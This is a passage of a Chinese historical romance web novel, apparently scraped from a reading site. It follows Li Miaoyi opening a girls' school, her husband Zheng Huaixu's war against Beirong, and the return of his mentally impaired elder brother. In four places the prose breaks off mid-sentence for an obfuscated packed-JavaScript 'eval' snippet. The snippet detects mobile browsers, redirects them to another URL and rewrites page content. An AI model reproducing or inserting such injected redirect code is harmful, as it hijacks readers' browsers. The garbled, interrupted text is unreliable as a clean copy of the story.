他捧起她的脸,目光认真得近乎郑重:“在我心中,你首先是李妙仪。我心悦你,不是因为你可能为我生儿育女,而是因为你本身。你的才情,你的能力,你的一切,都让我珍视。” 李妙仪的睫毛轻轻颤了颤。 “不必顾及世人的眼光,家族的期望。”他眼中闪过一丝锐芒,“你不想被困于后宅,那便不做那笼中雀。你想证明女子的价值,那便去做。” 他看着她渐渐亮起来的眼眸,继续道:“你的铺子做得很好,但这或许只是个开始。你可以用你的能力,去做更多你想做的事。” 他略作沉吟,缓缓道出那个念头:“比如,资助那些家境贫寒却有心向学的女子。或者,办一处女子学堂,教她们识字、算账、学些谋生的技艺。让她们知道,女子的人生,并非只有相夫教子一条路。” 李妙仪定定地看着他,心跳漏了一拍,又骤然加快。 资助女学?开办女子学堂?这是她前世做公主时,连想都不敢想的念头!可郑淮序,作为这个时代的既得利益者,竟然这样轻描淡写地说了出来,仿佛天经地义。 她猛地扑进他怀里,双臂紧紧环住他的腰,脸埋在他胸前:“伯章,你怎么这么好……” 郑淮序回抱住她,声音里带着宠溺:“傻话,夫妻本就是一体,做夫君的怎么能拖你的后腿。” 他话锋一转,语气带着几分调侃,却又充满了蛊惑:“不过,在夫人开始大展宏图之前,为夫今日这番‘建言献策’,不知可否讨得一些奖赏?” 李妙仪破涕为笑,看着这张近在咫尺的俊脸,主动凑上前,印下一个轻柔的吻。 “夫君想要什么奖赏,尽管来讨便是。” 这一声“夫君”,像是投进了干燥的薪柴里。他不再犹豫,打横将她抱起,大步往内室走去。 这一夜的李妙仪,格外的主动。她像是要把白日里所有的委屈、所有的不甘,都化作满腔的爱意,交付给眼前这个人。 当一切归于平静,李妙仪蜷缩在郑淮序怀中,像一只餍足的猫,沉沉睡去。 郑淮序看着她恬静的睡颜,轻轻掖了掖被角。 这世间对女子的束缚固然沉重,可他愿与她携手,一点点,将其撬动。 次日,李妙仪雷厉风行,说做便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289283|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做。先是选定西郊一处旧宅院作为场地,原是国公府早年置下的别业,稍加修葺改造便十分合用。 郑淮序不仅拨了场地,更从私账中取出一笔不小的款项,交到她手上,又亲自挑了几个得力的人前来协助。 学堂的名字,是李妙仪想了许久才定下的。 “蕙心苑”,取“蕙质兰心”之意,旨在启迪女子心智,而非仅仅培养贤良淑德。 她没有大张旗鼓地张扬,起初,只通过国公府和崔家的一些稳妥人脉,悄悄地招募学生。 目标并非高门贵女,那些人自有家族延请的西席。而是那些中下层官吏的女儿、商户人家的姑娘,甚至国公府名下铺子里那些表现优异的女工家的女孩。 “蕙心苑”的课程,是她费了许多心思设计的。 明面上,她安排了些许闺阁必备的功课,识字、书法、绘画、琴艺,甚至也包括《女诫》《内训》里的篇章。即便不喜,但这是当下女子立足不得不学的表面文章。 可暗地里,她真正着力的,是另一套东西。 她聘请技艺精湛的绣娘,教授女红刺绣,不仅限于观赏,更注重设计与变现;请来老账房,教授实用的珠算和记账法;甚至,她亲自开设课程,讲解一些简单的经商之道、货品鉴赏、人情往来。她还计划着,待时机成熟,引入医术、种植等更多元的知识。 开学的第一堂课,李妙仪站在那间改作讲堂的厅堂里。 十二三个女孩坐在下面,年纪不一,模样各异。有人紧张地绞着手指,有人偷偷打量着她,有人怯生生地低着头。 李妙仪开口,声音清越而柔和:“你们来此,是为读书明理。” 她顿了顿,目光从每一张脸上缓缓扫过。 “读书明理,可让我们不愚昧。不因别人一句话就怀疑自己,不因生为女子就自轻自贱。” “掌握技艺,可让我们有立身之本。往后无论嫁人不嫁人,无论日子顺遂还是艰难,多一分本事,便多一分选择的余地,多一分应对世事的从容。” “女子并非只能依附他人而活。无论将来是相夫教子,还是另有际遇,多一分本事,便多一分选择的余地,多一分应对世事的从容。” 说完后,厅堂里安静了片刻。 然后,那个年纪最小的九岁女孩,忽然怯生生地问:“夫人,我……我真的可以学绣花卖钱吗?我想给我娘攒银子抓药。” 李妙仪走过去,蹲下来,与那女孩平视:“当然可以。不仅绣花,你还可以学算账,学了算账就能帮你娘管钱;你还可以学识字,学了识字就能给你娘读话本解闷。你想学什么,我都教给你。” 女孩的眼睛一下子亮了起来。 那光亮在小小的瞳孔里跳动着,像一颗刚刚点燃的星。 李妙仪想起远嫁北戎的八公主,想起无数像她一样身不由己的女子,想起柳氏说起“绵延子嗣”时那理所当然的神情。 她不知道这“蕙心苑”能走多远,不知道这些女孩日后会变成什么模样。但她知道,从这一刻起,有些东西已经开始不一样了。 56. 叛乱 蕙心苑的名声,起初只在盛京小户人家口耳相传。可时日一久,从这学堂里走出来的女子,或凭一手精巧绣活被贵人看中,或靠算账簿的本事助娘家商贾渐兴,赞誉之声便如春水涨潮,悄然漫开。 当初那些摇头叹息、斥责女子抛头露面有伤风化的守旧之人,听着这实打实的例子,大多缄口不言,有的甚至改弦更张,逢人便夸郑少夫人有见识。 这名声,终究传进了宫里。 一日,仁宣帝批完奏折歇息,王德全拣了几件京中趣闻说与他解闷。说着说着,便提起了蕙心苑。 仁宣帝放下朱笔,眉梢微扬:“哦?办了个学堂,专教女子实用本事?倒是新鲜。” 王德全觑着圣颜,陪笑道:“回陛下,如今盛京上下都传遍了,说郑少夫人不愧是第一才女,心思灵巧,又宅心仁厚。好些人家都想把女儿送进去,说是要沾一沾才气呢。” 仁宣帝沉吟片刻,缓缓颔首:“知书达理,又不拘泥陈规,能为女子谋一技之长,确是善举。” 当下便口谕,赏郑崔氏宫缎数匹、文房四宝一套,以示嘉奖。 圣眷与赏赐传到国公府,李妙仪的名望水涨船高。国公夫人喜上眉梢,拉着她的手连连夸赞:“好孩子,可真是给咱们家长脸了!”崔家那边听说,亦是面上生光。 然而无人留意,皇帝那欣慰笑意背后,眼底深处掠过一丝讳莫如深的情绪。 一个女子,若只是安于内宅,纵有些才名,也无伤大雅。但如郑崔氏这般,既能操持庶务,又能开办学堂、引导世风。这份能力与心性,已然超出了他对一个“臣妇”的预料。 尤其,她嫁的是郑淮序。 那个能力出众、在军中民间威望日隆的年轻臣子。夫妻一体,若这妻子太过“了不得”,是否会助长丈夫的势力?是否会生出些不可控的变数? 帝王心术,贵在平衡。他需要能臣干将,却绝不容许任何可能威胁皇权的势力滋长。郑淮序是他如今倚重的新贵,妻子得些贤名无妨,可若这贤名之下,藏着野心,便不得不防。 这些暗流,李妙仪并非毫无察觉。她深知“木秀于林,风必摧之”的道理,领了宫中赏赐后,索性将蕙心苑交给信得过的副手打理,自己则退居幕后,深居简出。 是夜,红罗帐内。 李妙仪慵懒地靠在郑淮序怀中,指尖在他胸膛上无意识地画着圈,将心底那点隐忧轻声说了出来。 “我是不是太招眼了?” 郑淮序握住她作乱的手指,放在唇边吻了吻:“你做得很好,不必多虑。陛下是明君,只要我等行事光明磊落,于国于民有利,他不会无故猜忌。” 他的话,一如既往地沉稳可靠。李妙仪心中那点不安渐渐消散,取而代之的是更深的依恋与爱意。 她抬起头,主动吻上他的唇。汗水交织,呼吸相闻,这一刻什么言语都是多余。 “伯章,”她在迷乱中呢喃,“能遇见你,是我此生最大的幸事。” 郑淮序以更深的吻回应她。 蕙心苑的灯火,仍在盛京一隅静静亮着。而它的创办者,终于在这纷繁世道中,找到了属于自己的位置与价值,并与所爱之人,携手走向更广阔的天地。 时光如水,转眼李妙仪与郑淮序成婚已逾一载。这一年,国公府上下和睦,产业兴旺。夫妻二人感情甚笃,白日里各自忙碌,夜晚则耳鬓厮磨,缱绻情深,日子过得蜜里调油一般。 李妙仪的容颜愈发娇艳,举止间既有当家主母的沉稳,又不失小女儿的情态。郑淮序亦然,朝堂上的杀伐决断,回到府中便化作绕指柔情。 这日,李妙仪正在蕙心苑查看刺绣功课,忽见郑淮序身边的亲卫急匆匆赶来,面色凝重地低声禀报了什么。郑淮序闻言,脸色骤变,甚至来不及与她细说,便翻身上马,绝尘而去。 一种不祥的预感,如阴云般瞬间笼上李妙仪心头。她强自镇定,安排好事务回到国公府,只觉得府中气氛也莫名地压抑起来。 直到夜幕降临,华灯初上,郑淮序才带着一身寒气归来。他的脸色是从未有过的沉肃,眉宇间凝着化不开的霜意。 “怎么了?”李妙仪迎上去,替他解下沾了夜露的披风。 郑淮序握住她微凉的手,牵着她走进内室,屏退左右,这才沉声开口:“八公主反了。” “什么?!”李妙仪惊得倒退一步,难以置信地瞪大眼,“妙宁她……怎么可能?” “北戎急报,八公主私通敌国大将,泄露我军布防,引北戎大军压境,边关数座城池已失守。”郑淮序语气中带着压抑的怒火,“查证之下,当初她和亲,竟也是其母族陈家与北狄早有勾结,故意为之!” 李妙仪只觉得天旋地转,浑身冰凉。她想起那个怯懦的妹妹,想起陈家日益嚣张的跋扈,原来这一切,竟都是早有预谋。 “陛下震怒,当场呕血。”郑淮序继续道,“朝堂上乱作一团,主和主战争执不休。但北戎铁蹄已踏破国门,和谈无异于痴人说梦。” 他目光不忍,却仍坚定地开口:“陛下已下旨,命我为平北大将军,立即率军出征,平定叛乱,收复河山。” 尽管早有预感,但李妙仪还是无法接受。眼泪瞬间涌了上来,模糊了视线。她死死咬住下唇,才没有失声痛哭。 郑淮序看着她强忍泪水的模样,心中亦是痛楚难当。他伸手,将她紧紧拥入怀中。 “别怕,妙仪。”他在她耳边低语,带着令人心安的沉稳,“等我回来。” 只这简单的四个字,却重逾千斤。 这一夜,两人相拥坐在窗边的榻上,谁都没有睡意。 天色未明,夜色如墨尚未褪尽,国公府的院子里已亮起了灯。 李妙仪立在妆台前,从托盘里一件件拿起戎装。先是最贴身的绸衫,她踮起脚尖,将衣领绕过他的颈项,指尖顺着他的肩线轻轻滑下,一寸一寸抚平褶皱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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铜镜里映出她模糊的身影,鬓发散乱,身上还留着他的温度。她抬起手,按在自己心口,那里还在剧烈地跳着,仿佛他还在这里。 郑淮序率大军离去,也带走了李妙仪心中大半的温热。府邸依旧轩丽,庭院深深,却陡然空寂下来。 李妙仪将牵挂压在心底,面上依旧是沉稳的少夫人。她每日向公婆请安,亲自核对账目,过问府中大小事务,半分不肯松懈。 国公爷因战事忧心,病情时有反复;国公夫人看着她憔悴却坚毅的侧脸,心中又是心疼又是欣慰,拉着她的手叹道:“这个家,多亏有你。” 蕙心苑的事她也没落下,越是动荡时,女子越需一技傍身。她不仅没缩减用度,反而增设了草药辨识与护理课程,隐隐为可能的风波做准备。 学子们感念她的用心,学习愈发刻苦。琅琅书声与专注刺绣的身影,成了这压抑时局下一抹难得的宁静。 57. 战况 盛京的局势,一日紧似一日。 八公主叛国、北戎大军压境的消息,如瘟疫般在城中无声蔓延,携来无尽的恐慌与猜疑。城门口的盘查严了三倍,每日都有商贾被扣、书生被拿,罪名都是那含糊其辞的“形迹可疑”。 朝堂之上,更是人人自危。仁宣帝经此重创,性情愈发阴鸷多疑,连日处置数位办事不力的官员,更下旨将陈国舅一族满门抄斩,女眷悉数没入官婢。 听闻陈家下场的那一夜,李妙仪久久无言。权力倾轧之下,个人命运如浮萍般飘摇,昨日还是皇亲国戚,今日已成刀下亡魂。 更令她悬心的,是前线的战报。 郑淮序用兵如神,初时几场激战,确实稳住阵脚,接连收复了三座失陷的边城。然北戎此番有备而来,又有叛徒为内应,深悉边境布防。他们的骑兵来去如风,专挑守军薄弱处突袭,烧杀抢掠后便迅速撤离,绝不恋战。 最新消息称,双方主力在陇西一带对峙,战况胶着已逾半月。斥候冒死传回的消息说,那一带的山谷中,尸骸堆积如山,血流成河,连溪水都被染成了红色。 每闻驿马疾驰入京的蹄声,李妙仪的心便提到嗓子眼。生怕下一刻,便有噩耗破门而入。 她开始夜不能寐,常在深宵起身,独自走到院中,朝西北方向凝望。刀光剑影之间,他可还安然无恙? 这夜,她又从噩梦中惊醒,心口怦怦直跳,冷汗浸透了寝衣。良久,喘息稍定,她披衣起身,坐到书案前,提笔良久,却不知从何说起。 报平安的家书已寄出多封,每一封都石沉大海,没有回音。此刻再写,只怕徒增他的牵挂。 最终,她只在那素白信笺上,反复描摹四个字:盼君早归。 与此同时,千里之外的陇西前线,中军大帐内。 烛火摇曳,映照着郑淮序棱角分明的面庞。他比离京时清瘦了许多,下颌冒出了青色的胡茬,唯有一双眼睛,依旧锐利如鹰隼。 案上铺着军事舆图,密密麻麻标注着敌我态势。北戎大军倚仗骑兵之利,又熟悉地形,采取骚扰游击战术。他们昼伏夜出,专打粮道,截杀斥候,不断消耗大雍军队的粮草与士气。 更棘手的是,军中似有细作潜伏。几次隐秘的夜袭行动,还未出发,敌军便已设好埋伏,折损了他麾下最精锐的三百斥候。 “将军,粮草最多再支撑半月。”副将面带忧色,“朝廷补给迟迟未到,押粮官说,沿途州县借口匪患,推三阻四,不敢发兵护送。这怕是……” 怕是有人要断他后路。 郑淮序揉了揉刺痛的额角,沉声道:“加强巡防,严查细作。粮草之事,我自有计较。” 大帐内重归寂静,只剩烛火噼啪作响。 郑淮序走到帐门边,掀开厚重的帘布。远处营火点点,如繁星散落,那是他的士兵,是将性命交付于他的人。风中隐隐传来伤兵的呻吟,和巡夜士兵低沉的脚步声。 他抬头望向东南方向,那是盛京,是家的方向。 胸口的盔甲内衬里,贴身藏着平安符,和一缕以红绳系着的青丝。那是他在血腥战场上,唯一的柔软与慰藉。 他必须赢,必须活着回去。 为了身后的家国,为了那些把性命交付给他的士兵,也为了那个在盛京等他归去的人。 盛京,国公府。 短暂的消沉过后,李妙仪迅速振作起来。她深知,沉溺担忧于事无补。她开始更加积极地运用“蕙心苑”和铺子的人脉网络,不动声色地收集信息,留意朝中动向。 这一日,青鸾急匆匆进来,脸色发白:“少夫人,府中来了宫使,国公爷请您速去前厅。” 李妙仪心头一凛。 在这个敏感时期,宫中来人所为何事?她深吸一口气,强迫自己冷静下来,迅速整理好衣饰,沉稳地向正院走去。 前厅之中,气氛凝滞。 来的并非普通内侍,而是仁宣帝身边颇为得力的太监王德全。他面色肃穆,身后还跟着两名小黄门,手中捧着盖了黄绫的托盘。 “国公爷,夫人,少夫人,”王德全声音尖细,在寂静的厅中格外刺耳,“咱家奉陛下口谕而来,请接旨。” 众人连忙跪下,额头触地。 “陛下挂念边关将士,更体恤郑将军为国征战,家眷在京辛劳。”王德全的目光扫过李妙仪,微微一顿,“特赐下蜀锦十匹,珍玩若干,以示抚慰。望郑将军无后顾之忧,专心为国杀敌。” 赏赐一一抬入,琳琅满目,确是厚赏。 然而,李妙仪的心却沉了下去。 皇帝在此刻厚赏郑家,与其说是抚慰,不如说是一种审视和敲打。他在提醒郑家,要安分守己,莫要行差踏错。 三人齐齐谢恩。 王德全虚扶一下,意味深长道:“陛下还有一言,让咱家转告少夫人。蕙心苑办学有功,泽被女子,朕心甚慰。然非常时期,当以安稳为上,有些事务,还需谨慎斟酌,莫要惹来不必要的非议,给郑将军添乱。” 这几乎是在明示她,女子学堂风头太盛,该收敛了。 李妙仪叩首:“臣妇谨遵圣谕。” 王德全走后,前厅陷入一片死寂。 国公爷重重咳嗽几声,疲惫地闭上眼:“陛下的心思深啊。” 国公夫人忧心忡忡道:“言儿,你看这学堂……” 李妙仪压下心中惊涛骇浪:“父亲,母亲放心,儿媳知道该如何处置。” 接下来的日子,李妙仪对外表现得更加低调,暂停了蕙心苑的办学,几乎足不出户。每日只在内院读书习字,侍奉公婆,全然是一副安分守己的内宅妇人模样。 传到仁宣帝耳中,果然让他紧绷的神色稍缓。他要的,不过是臣子的忠诚与驯服,尤其是手握兵权臣子的家眷。 然而,边关的危机,并未因皇帝的满意而解除。 陇西前线,郑淮序面临前所未有的压力。 军中细作如同毒刺,拔除不尽。一次精心策划的夜袭,因消息走漏,反遭敌军重兵埋伏。那一夜,山谷中杀声震天,火光映红了半边天。 消息传开,军中士气受挫,流言四起。有人说将军已失圣心,朝廷要断粮草;有人说军中有高层通敌,否则敌军不可能每次都能精准设伏,这场仗根本打不赢。 “将军,不能再这样下去了!”副将们群情激愤,“必须把那个内鬼揪出来!否则咱们都得死在这儿!” 郑淮序面沉如水,一言不发。 他何尝不知?他布下一个险局,便是要引蛇出洞。 月黑风高之夜,一道黑影果然悄悄溜出营地,避开巡哨,摸到后山一处隐蔽的树洞前。他四下张望,确认无人,迅速将一枚蜡丸塞入洞中。 就在他转身欲走之际,四周火把骤然亮起,郑淮序率领数十名亲卫,将其团团围住。 火光映照下,那张惊恐的脸,让所有人倒吸一口凉气。 那细作,竟是掌管部分文书往来的参军程昱。 “为什么?”郑淮序看着他,目光痛心而冰冷,声音却出奇平静。 程昱自知无法幸免,惨然一笑:“将军,人为财死,鸟为食亡。北戎许我家族后半生富贵,更何况,八公主毕竟是天家血脉……” 郑淮序瞳孔一缩,瞬间明白了什么。 八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289285|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公主叛国,恐怕并非仅仅是陈家的阴谋,背后或许还有更深层的皇室纠葛或把柄。 这潭水,比想象中更深,也更浑。 他毫不犹豫,下令将程昱就地正法。刀光闪过,人头落地。郑淮序命人将首级悬挂于营门之外,传阅三军,以儆效尤。 随即,他连夜召集众将,根据程昱临死前吐露的零星信息,结合之前掌握的线索,重新调整战略。他决定兵行险着,放弃与敌军主力正面纠缠,率三千精锐轻骑,绕道奔袭三百里,直捣北戎囤积粮草的重镇黑风隘。 这是一场豪赌。 胜,则可断敌粮道,焚敌辎重,一举扭转战局;败,则三千精锐可能全军覆没,陇西防线也会因兵力空虚而彻底崩溃。 消息传回盛京,朝堂哗然。 主和派再次抬头,弹劾郑淮序“冒进轻敌”的奏疏,雪片般飞向御案。御史们慷慨陈词,说他恃宠而骄,不顾大局;说他若败,则陇西不保,陇西不保,则京师震动。 仁宣帝亦是焦头烂额,边境防线一旦彻底崩溃,后果不堪设想。 听闻朝堂上的风波,李妙仪恨不得插翅飞向边关。 然而,理智最终拉住了她。此刻她若贸然离京,不仅于事无补,反而会坐实外界的猜测。 她只能等。 焦灼了七日,一匹快马自西门疾驰而入,骑手背上插着八百里加急的红色令旗,浑身尘土,满脸疲惫,却仍拼命挥鞭。 “捷报——!陇西大捷——!” 那声嘶力竭的呼喊,如同撕裂阴霾的阳光,骤然撞入死寂的盛京城。 街道两旁的人们愣了一瞬,随即爆发出震天的欢呼。消息如野火燎原,瞬间传遍全城。郑将军奇袭黑风隘成功,火烧敌军粮草三十万石,北戎大军溃败三百里,已退出陇西防线! 仁宣帝在御书房接到捷报,手都在发抖。他连下三道嘉奖圣旨,一扫连日阴郁。 捷报传入国公府时,下人仆从们喜极而泣,奔走相告。 国公爷听到消息,怔了半晌,随即淌下两行热泪。他一生戎马,最懂战场凶险,也最知这胜利来得多么不易。 国公夫人更是激动得几乎晕厥,紧紧抓住李妙仪的手,泣不成声:“赢了!伯章赢了!他没事!他要回来了!” 李妙仪站在那里,巨大的喜悦如同海啸般冲击着她的心神,让她头晕目眩,几乎站立不稳。 泪水模糊了她的视线,但这一次,是滚烫的、喜悦的泪水。 然而,这份席卷全国的欢庆,在国公府内,却随着后续一封更为详细的军报抵达,骤然蒙上了一层沉重而诡异的阴影。 信是郑淮序的亲笔,除了报平安和简述战况外,最后几行字,却让所有看到的人,都陷入了死一般的寂静。 “……兄济川,并未战死。” 只此一句,便让国公夫人手中的茶盏“啪”地一声碎在地上。 “当日坠入深渊,为边境猎户所救。然头部重伤,记忆混沌,时而清醒如常,时而痴愚如幼童。弟寻获兄时,他已不识旧人。弟已携兄同行,不日抵京。” 郑淮舟没有死?! 这个消息,如一声惊雷,在国公府上空炸响,将所有胜利的喜悦炸得粉碎。 颐年堂内,国公爷和夫人看着那封信,脸色变幻不定。长子失而复得,本是天大的喜事。可如今,儿媳已经嫁给了次子,这该如何是好? 李妙仪僵立在原地,脑海中一片空白。 她仿佛已经看到了那即将到来的、无法避免的狂风暴雨。她与郑淮序历经生死才得来的相守,他们名正言顺的婚姻,瞬间变得如此尴尬,如此岌岌可危。 58. 崩断 数月后,凯旋大军抵达京郊。 仁宣帝亲率文武百官出城相迎,万民夹道欢呼,盛况空前。 郑淮序一身戎装,骑在骏马之上,接受着皇帝亲手斟的御酒和满朝赞誉。他瘦削了许多,肤色黝黑,但眼神愈发深邃锐利,周身散发着经战火淬炼后的凛然气势。 隆重的迎接仪式结束后,郑淮序并未在京郊大营多作停留,而是带着一队亲卫,护送着一辆覆盖着厚厚毡布的马车,沿着小路悄然折返,从侧门秘密回到了国公府。 府门悄然开启,又悄然合上。 国公爷和夫人早已接到消息,强压着激动等在正堂。当看到次子完好无损地站在面前时,均是热泪盈眶,上前一把抱住他,捶着他的背哽咽道:“回来就好。” 然而,他们的目光,都不由自主地带着紧张与担忧,投向了那辆已经驶入内院的马车。 郑淮序安抚地拍了拍母亲的背,随即深吸一口气,走到马车旁,亲手掀开了那块厚重的毡布。 阳光倾泻而入。 车厢角落里,蜷缩着一个形容枯槁的男子。他面容苍白消瘦,胡须杂乱,昔日清俊的眉眼如今只剩下空洞与茫然。当光线刺痛他的眼睛时,他下意识地瑟缩了一下,像个受惊的孩子。 然后,他的目光,落在了人群中的李妙仪身上。 那一瞬间,那双空洞的眼睛里,骤然爆发出一种令人心悸的光亮。 “言言!” 他猛地挣脱了搀扶他的侍卫,踉踉跄跄地扑向李妙仪,跌倒在地也顾不上,爬起身继续扑过去,死死抓住她的衣袖,将头埋在她身前,浑身剧烈颤抖。 “言言,我回来了,你别走……” 他像个迷路太久、终于找到家的孩子,抓着唯一的依靠,反复呢喃着那几个破碎的字眼,泪水洇湿了她的衣襟。 全场死寂。 李妙仪僵立在原地,感受着袖口传来的的力道,缓缓抬眼,望向不远处。郑淮序面色铁青,下颌绷得死紧,正眼神复杂地望着她。 一边是死而复生、神志不清、却有着名分大义的前夫。 一边是生死与共、情深意重、此刻却身份尴尬的挚爱。 郑淮序凯旋带来的荣耀与喜悦,尚未在国公府停留片刻,便被这突如其来的现实冲击得七零八落。 第二日一早,郑淮序请来府医,为兄长郑淮舟秘密诊治。 诊断的结果,让所有人的心都沉入了谷底。 “二公子,”府医捻着胡须,面色凝重,“世子头部曾受重创不假,但真正导致他神智混沌的,是一种极阴损的混毒。此毒侵蚀脑络,致使记忆错乱,性情倒退,只余本能与执念。他能记得二少夫人,怕是中毒之前,执念太深。” 执念太深。 郑淮序咀嚼着这四个字,心如刀绞。 “可能治愈?” “难。”府医摇头,“需以金针渡穴,辅以珍稀药材,徐徐图之。即便一切顺利,也至少需半年光景,且能否完全恢复如初,老朽也不敢保证。” 接下来的日子,国公府陷入了一种诡异的平衡与压抑之中。 郑淮舟被安置在离主院稍远,但环境清幽的竹意轩,由可靠的心腹和老仆精心照料。可他只认李妙仪,一旦长时间看不到她,便会变得焦躁不安,摔打东西,甚至如同孩童般哭闹不休。 国公爷和夫人心疼得夜夜垂泪。他们深知此举对次子和儿媳不公,可看着济川那痴傻无助的模样,那句“让令言多去陪陪他”的话,终究是艰难说出了口。 李妙仪没有拒绝。 她每日定时去竹意轩探望,陪着郑淮舟用饭,耐着性子听他颠三倒四地讲话。她告诉自己,这只是出于道义,是替郑淮序分担这份突如其来的重负。 可每次踏入那个院子,感受到那道立刻锁定在她身上、带着全然依赖的目光,她都如坐针毡。 而郑淮序,因平叛之功更得皇帝信重,被委派了清查逆党、整顿边防等繁重事务,时常早出晚归,有时甚至彻夜不归。夫妻二人,相见甚少。 这一日,李妙仪照例前去竹意轩。 郑淮舟一见到她,立刻丢开了手中把玩的九连环,欢喜地扑过来,紧紧抓住她的手,将她拉到软榻旁坐下。 “言言,我今天很乖,没有闹。”他仰着脸,努力做出讨好的表情,将头往她肩膀上靠。 李妙仪下意识地想避开,可看到他眼中那不掺任何杂质的依赖,她终究没能动,只是不着痕迹地将身体往后挪了挪。 “嗯,你很乖。”她勉强应着,声音干涩。 郑淮舟却仿佛得到了莫大的鼓励,更加得寸进尺。他伸出手,想去抚摸她的脸颊,嘴里含糊道:“言言,你真好看,让我抱抱,好不好?” 李妙仪头皮发麻,猛地站起身,避开了他的触碰:“世子,不要这样!” 郑淮舟被她的反应吓住了,愣在原地,眼中迅速蓄满了泪水,委屈又无措:“言言,你是不是不喜欢我了?是不是不要我了?” 看着他这副模样,李妙仪心中五味杂陈。厌烦吗?有的。可面对这样一个神志不清的人,她如何能真正狠下心肠? 她正不知该如何应对,郑淮舟却突然又扑了上来。这一次,力道之大,竟将她直接抱住,撅着嘴就往她唇上凑,含糊不清地说:“言言,亲亲好不好,像以前一样……” “放开她!” 一道压抑着怒火的嗓音骤然响起。 郑淮序不知何时站在了门口,脸色铁青,眼底翻涌着她从未见过的风暴。他几步上前,一把扣住郑淮舟的手腕,力道之大,让郑淮舟痛呼一声,不由自主地松开了手。 郑淮序顺势将李妙仪拉到自己身后,用身体完全护住。 “弟弟,你做什么!”郑淮舟看着空了的怀抱,委屈和愤怒瞬间淹没,“你抢我媳妇!你把言言还给我!” 他毫无章法地拳打脚踢,郑淮序顾忌着他的伤势和神志,不敢用力反击,只能格挡,一时间竟被兄长逼得有些狼狈。 “够了!”李妙仪头痛欲裂地喊出声。 郑淮舟停下动作,愣愣地看了她片刻,突然“哇”地一声哭了出来。他转身跑进内间,趴在床上嚎啕大哭,边哭边喊:“弟弟抢我媳妇!爹!娘!弟弟欺负我!他把言言抢走了……” 声音凄厉委屈,回荡在寂静的院落。 郑淮序 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17293194|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸膛剧烈起伏,看着内间兄长的背影,又回头看向脸色苍白的李妙仪。所有的理智、隐忍,在这一瞬间,彻底崩断。 他不再多言,一把拉住李妙仪的手腕,一路沉默地疾步回到他们的主院。 “砰”地一声,房门被重重关上,隔绝了外界所有声音。 他将她抵在门板上,黑暗中,他的呼吸灼热,带着压抑了太久的颤抖。他什么也没说,只是低头,狠狠地吻住了她的唇,仿佛要借此驱散什么。 “伯章,别这样。”李妙仪试图推开他,却被他更紧地禁锢在怀里。 “他是谁?”他在她唇边喘息着质问,“在你心里,他现在是谁?!” “他是你哥哥!只是一个病人!”李妙仪厉声回应。 “可他只记得你!”郑淮序一把将她打横抱起,走向床榻,“他碰你了?他刚才想做什么?!” 他将她抛在柔软的锦被中,随即覆身而上,动作带着前所未有的急躁与蛮横。她起初还挣扎着,可感受到那力道之下隐隐的颤抖,她忽然明白了。 他不是在生气。 他是在害怕。 她伸出手,紧紧抱住了他紧绷的脊背。 “不要怕,”她在他的蛮横下轻声呢喃,泪水沾湿了他的肩膀,“我只是你的,永远都只是你的。” 不知过了多久,直到两人都筋疲力尽,郑淮序才将脸埋在她颈窝,发出一声近乎哽咽的叹息。 李妙仪轻轻抚摸着他汗湿的头发,指尖穿过发丝。她知道,他心中的苦,不比她少半分。他夹在兄长、父母、她、还有这荒谬的伦理之间,无人能诉,无处可逃。 这一夜,他没有再说话,只是紧紧拥着她,仿佛一松手,她就会消失。 那夜宣泄之后,清晨醒来,两人在满室狼藉与沉默中对视。无需过多言语,一个眼神便已足够。 “先倾尽全力治好他。”郑淮序声音沙哑,握住她的手,“待他痊愈,明辨事理,我们再将一切告知于他。” 李妙仪重重地点头,将另一只手覆在他的手背上,十指交握。 “好。” 夫妻二人就此达成了共识。 对外,郑淮舟“死而复生”的消息被严密封锁,仅限于国公府核心几人知晓。毕竟,一个本应战死的将军突然归来,还神志不清,若传扬出去,不知会引来多少猜测与风波。 郑淮序继续着他繁忙的公务。有时忙至深夜,她已睡下,他便轻手轻脚地上床,从身后拥住她,将脸埋在她的发间,静静躺上一会儿。有时回来得早,他会去竹意轩外站一站,听着里面的动静,然后转身离开。 他从不在她面前提兄长的事。 李妙仪继续着每日去竹意轩的“惯例”。 